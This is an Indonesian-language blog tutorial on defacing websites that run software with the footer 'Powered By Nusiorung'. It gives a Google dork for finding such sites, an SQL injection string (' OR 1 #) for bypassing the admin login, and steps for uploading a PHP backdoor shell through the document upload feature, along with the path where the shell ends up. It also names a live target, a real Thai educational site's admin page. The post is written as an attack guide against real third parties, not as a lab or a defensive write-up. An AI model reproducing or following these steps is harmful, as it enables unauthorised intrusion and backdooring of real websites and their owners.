Saturday, April 29, 2017

Deface - Bypass Admin Login "Powered By Nusiorung"

Google Dork:  intext:"Powered By Nusiorung"

Login Dengan Username & Password
Username : ' OR 1 #
Password : ' OR 1 #





Jika sudah login, langsung menuju "Document" untuk mengupload shell backdoor.



Setelah itu, klik kotak pada bagian bawah




Langsung upload shell kita disini




Jika Sudah, kalian akan melihat shell kalian seperti ini, di dalam list document tadi



( Yang dilingkari merah adalah nama file shell backdoor anda )


Selanjutnya, letak shell kalian ada di:
-> /admin/document/upload/shell.php


Contoh: http://target.com/admin/document/upload/YJE6ZH.php


Live Target: 

http://edu.nmc.ac.th/th/admin/


Oke, Sekian Dulu Tutorial nya, Silakan kalian kembangi lagi.


Share:

0 comments: